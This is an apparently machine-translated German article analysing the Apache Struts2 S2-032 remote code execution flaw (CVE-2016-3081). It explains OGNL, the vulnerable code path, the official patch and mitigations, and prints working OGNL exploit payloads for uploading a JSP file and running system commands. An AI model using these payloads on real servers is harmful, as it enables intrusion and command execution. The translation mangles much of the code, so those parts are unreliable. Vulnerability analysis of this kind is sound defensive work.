Am 26. April 2016 gab Apache Struts2 offiziell eine weitere Sicherheitsanzeige aus: Der Apache Struts2 -Dienst kann alle Befehle aus der Ferne ausführen, wenn die Statusmethode angerufen und gestartet wird. Die offizielle Nummer lautet S2-032 und die CVE-Nummer ist CVE-2016-3081. Dies ist die große Sicherheitsanfälligkeit des Dienstes ist nach vier Jahren seit der Ausbreitung des Struts2 Command Execution 2012 explodiert. Diese Sicherheitsanfälligkeit ist auch die schwerwiegendste Sicherheitsanfälligkeit, die in diesem Jahr entlarvt wurde. Hacker können diese Anfälligkeit verwenden, um Remote -Operationen auf Unternehmensservern auszuführen, was zu großen Sicherheitsbedrohungen wie Datenlecks, Remote -Host -Anschuldigungen, Intranet -Penetration usw. führt.
Nach der Anfälligkeit war es ein weiteres kollektives Ereignis für Sicherheits- und verwandte Unternehmen. Anfälligkeitsausbeuler nutzten diese Sicherheitsanfälligkeit so weit wie möglich, um ihr hervorragendes Niveau zu zeigen. Verschiedene öffentliche Testplattformen haben Unternehmen veröffentlicht, die erwischt wurden, um die Rolle der Plattform zu verbessern. Große Sicherheitsunternehmen haben diese Sicherheitsanfälligkeit auch voll ausnutzt, um den Einfluss des Unternehmens zu erhöhen, das Marketing zu nutzen, kostenlose Erkennung, ein Upgrade so schnell wie möglich usw. Es gibt noch viele depressive Hersteller, und ich habe niemanden gefragt und mich mit irgendjemandem anlegen. Anschließend muss eine große Anzahl von depressiven Entwicklungs- und Betriebspersonal über Nacht Schwachstellen Patches aufrüsten.
Das Prinzip der Schwachstellen wirkt sich jedoch auf den Schutz aus, und andere Faktoren werden selten erwähnt. In diesem Artikel geht es darum, Ihre eigenen Meinungen zu den oben genannten Punkten vorzulegen.
Prinzip
Diese Sicherheitsanfälligkeit verwendet die dynamische Ausführung von OGNL von Struts2, um auf jeden Java -Code zuzugreifen. Mit dieser Sicherheitsanfälligkeit können Sie Remote -Webseiten scannen, um festzustellen, ob eine solche Anfälligkeit besteht, und dann böswillige Anweisungen senden, Dateien -Uploads implementieren, native Befehle und andere nachfolgende Angriffe ausführen.
OGNL ist die Abkürzung der Navigationssprache der Objektgraphie, und sein vollständiger Name ist die Sprache der Objektgrafiknavigation. Es ist eine mächtige Ausdruckssprache. Durch einfache und konsistente Syntax kann es auf die Eigenschaften des Objekts zugreifen oder die Methoden des Objekts nach Belieben aufrufen und das Strukturdiagramm des gesamten Objekts durchqueren und die Konvertierung von Objektattributtypen und anderen Funktionen erkennen.
#, % und $ -Symbole erscheinen oft in OGNL -Ausdrücken
1. Es gibt im Allgemeinen drei Verwendungen von # Symbolen.
Zugriff auf Nicht-Root-Objekteigenschaften, wie z. B. #Session.MSG-Ausdruck, da der Median-Stapel von Struts 2 als Stammobjekt angesehen wird, müssen Sie beim Zugriff auf andere Nicht-Root-Objekte ein Präfix sind. Es wird zum Filtern und Projekten (projizierende) Sätze wie Personen verwendet. {?#this.age> 25}, Personen. Es wird verwendet, um Karten wie #{'foo1': 'bar1', 'foo2': 'bar2'} im Beispiel zu konstruieren.
2. %Symbol
Der Zweck des % -Symbols besteht darin, den Wert des OGNL -Ausdrucks zu berechnen, wenn das Attribut des Flags ein String -Typ ist. Dies ist ähnlich wie bei JS und ist sehr gewalttätig.
3. Das $ -Symbol hat zwei Hauptanwendungen.
In der internationalen Ressourcendatei finden Sie in OGNL -Ausdrücken, wie z. Siehe OGNL -Ausdrücke in der Konfigurationsdatei des Struts 2 -Frameworks.
Code -Auslastungsprozess
1. Client -Anfrage
http: // {WebsiteIP.Webapp}: {portnum}/{vul.action}? method = {maltcmdstr}
2. DefaultActionProxy's DefaultActionProxy -Funktion übernimmt Anforderungen.
Protected DefaultActionProxy (ActionInvocation Inv, String -Namespace, String ActionName, String MethodName, boolean Executeresult, boolean CleanUpContext) {this.invocation = inv; this.cleanUpContext = CleanUpContext; Log.debug ("Erstellen eines DefaultActionProxy für Namespace [{}] und Action -Name [{}]", Namespace, ActionName); this.actionName = stringScapeTils.SecapeHtml4 (ActionName); this.namespace = namespace; this.executeresult = executeresult; // Die Teilnehmer können es durch variable Übergabe, Syntaxfüllung, Zeichenflucht und andere Methoden umgehen. this.method = stringSecapeutils.Secapeecmascript (StringScapeTils.SecapeHtml4 (MethodName));};}A. DefaultActionMapper -Methode -Methode Name des DefaultActionMapper
String name = key.substring (action_prefix.length ()); if (erlaubigamicMethodcalls) {int bang = name.indexof ('!'); if (bang! maping.setMethod (Methode); name = name.substring (0, bang); }}V.
Protected String InvokeAction (Objektaktion, ActionConfig ActionConfig) löst die Ausnahme aus {String methodname = proxy.getMethod (); Log.debug ("Action -Methode ausführen = {}", methodName); String timerKey = "InvokeAction:" + proxy.getActionName (); try {UtiltImseStack.push (TimerKey); ObjektmethodeResult; try {// method methodResult = ognlutil.getValue (methodName + "()", getStack (). getContext (), Aktion); } catch (methodFailedException e) {Lösung
Die offizielle Lösung besteht darin, die Funktionsreinigungsname in Schritt 3 zu verifizieren.
Protected Muster erlaubtActionNames = muster.comPile ("[a-za-z0-9 ._! ///-]*"); Protected String CleanUpactionName (endgültige String-RawactionName) {// Überprüfen Sie, ob Sie den Filter reguläre Match ("[a-za-z0-9 ._! //-] eingeben. if (erlaubignames.matcher (rawactionName) .matches ()) {return rawactionName; } else {if (log.iswarnenabled ()) {log.warn ("action/methode [#0] stimmt nicht zulässigen Action -Namensmuster [#1] überein! } String CleanActionName = RawactionName; für (String Chunk: CredactionNames.split (RawactionName)) {CleanActionName = CleanActionName.replace (Chunk, ""); } if (log.isdebugenabled ()) {log.debug ("gereinigte Aktion/Methode Name [#0]", CleanActionName); } return cleanActionName; }}Vorschläge reparieren
1. Deaktivieren Sie die Aufrufe der dynamischen Methode
Ändern Sie die Konfigurationsdatei von Struts2 und setzen Sie den Wert von "Struts.Enable.DynamicMethodinVocation" auf False, zum Beispiel:
<constantName = "Strutss.Enable.DynamicMethodinVocation" value = "false"/>;
2. Upgrade der Softwareversion aktualisieren
Aktualisieren Sie die Struts -Version auf 2.3.20.2, 2.3.24.2 oder 2.3.28.1
Patch -Adresse: https://struts.apache.org/download.cgi#struts23281
Codes -Code
1. Laden Sie die Datei hoch:
Methode:%23_MemberAccess%[E -Mail] [email protected] [/E -Mail]@default_member_access,%23Req%3D%40Org.apache.structs2.ServletActionContext%%40GetRequest (),%23 Res%3d%40org.apache.structS2.ServletActionContext%40GetResponse (),%23res.Setcharactercoding (%23Parameter.Coding [0]),%23W%3D%23res.getWriter (),%23Pat H%3d%23Req.getRealPath (%23Parameters.PP [0]), New%20Java.io.BufferedWriter (New%20Java.io.FileWriter (%23Path%2B%2b%23Parameter.Shellname [0]). Append (%23param Emers.ShellContent [0])). Close (),%23w.print (%23Path),%23w.close (), 1%23xx:%23Request.toString & ShellName = STEST.JSP & SHELLCONTENT = TTT & CODING = UTF-8 & PP =%2F
Der obige Code sieht ein bisschen unpraktisch aus, lasst uns ihn umwandeln und einen Blick darauf werfen.
Methode: #_ memberaccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ErvletActionContext@getResponse (),#res.setcharactercoding (#parameters.encoding [0]),#w =#res.getwriter (),#path =#req.getrealPath (#parameters.pp [0]), neu java.io.bufferedWriter (neu Java.io.FileWriter (#Pfad+#Parameter.ShellName [0]). Append (#parameters.shellContent [0]). Close (),#W.Print (#Path),#W.Close (), 1? #xx:#Request.toString & Shellname = StEST.JSP.JSP & SHARSE = TTT & CODING = F.
2. Führen Sie lokale Befehle aus:
Methode:%23_MemberAccess%[email protected]@default_member_access,%23res%3D%40Org.apache.structs2.ServletActionContext%40GetRespo NSE (),%23res.Setcharacterencoding (%23Parameters.Coding [0]),%23W%3D%23res.getWriter (),%23S%3DNew+Java.util.Scanner (@java.lang.run time@getruntime (). exec (%23Parameters.cmd [0]). Weiter ()%3a%23Parameters.ppp [0],%23w.print (%23str),%23w.close (), 1%23xx:%23Request.toString & CMD = Whoami & pp = // a & pp =%20 & coding = utf-8
Betrachten wir einen Blick auf die Konvertierung
Methode: #_ memberAccess [#parameter.name1 [0]] = true,#_ memberAccess [#parameters.name [0]] = true,#_ memberAccess [#parameter.name2 [0]] = {},#_ memberAccess [#Paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.setcharactercoding (#parameters.encoding [0]),#W#D#res.getwriter (),#s = new java.util.scanner (@java.lang.runtime@getruntime (). exec (#parameters.cmd [0]) int (#str),#W.CLOSE (), 1? #xx:#request.toString & name = duldStaticMethodaccess & name1 = duldPrivateAccess & name2 = ausgeschlossene PackagenamePergerns & name3 = ausgeschlossene Classes & cmd = whoami & pp = // a & pp = & coding = uTF-8Durch die vorherige Einführung stellte ich fest, dass es nach der Konvertierung relativ leicht zu verstehen ist.
Wie man verhindern
Es gibt ein sehr wichtiges Prinzip in der Sicherheit, das das Prinzip der geringsten Berechtigungen ist. Das sogenannte am wenigsten Privilegien bezieht sich auf "die Berechtigungen, die für jeden Kapital (Benutzer oder Prozess) im Netzwerk von wesentlicher Bedeutung sind, wenn sie einen bestimmten Vorgang abschließen". Das Prinzip des Mindestrechts bedeutet, dass "die Mindestrechte, die jedes Unternehmen im Netzwerk minimal sein muss, begrenzt sein muss, um sicherzustellen, dass mögliche Unfälle, Fehler, Manipulationen von Netzwerkkomponenten und andere Verluste minimiert werden sollten".
Wenn beispielsweise dynamische Methodenaufrufe im System nicht verwendet werden, werden sie während der Bereitstellung entfernt, sodass das Patch auch dann nicht verwendet wird, wenn das Patch nicht abgefeuert wird.
Einer der wichtigsten Schäden in diesem System ist die Ausführung lokaler Prozesse, die auch deaktiviert werden können, wenn das System nicht lokal funktioniert.
Schauen wir uns den Code an, der lokale Befehle in Java Code, ProcessImpl in ProcessImpl ausführt.
private processImpl (String cmd [], endgültiger String EnvBlock, endgültiger String -Pfad, Final Long [] stdHandles, endgültiger boolean RedirecterrorStream) löscht IOException {String cmdstr; SecurityManager Security = System.getSecurityManager (); boolean erlaubtBiguouscommands = false; if (Security == NULL) {Zulassungencommands = true; // JDK hat Parameter angegeben, um festzustellen, ob lokale Prozesse ausgeführt werden können. String value = system.getProperty ("jdk.lang.process.Allowbigouscommands"); if (value! } if (erlaubiguptionale commands) {Wenn Java startet, fügen Sie den Parameter -djdk.lang.Process.Allowambigouscommands = false hinzu, damit Java keine lokalen Prozesse ausführt.
Wenn Sie unnötige Inhalte im Voraus deaktivieren können, wenn das System bereitgestellt wird, kann der Schaden dieser Sicherheitsanfälligkeit reduziert oder beseitigt werden.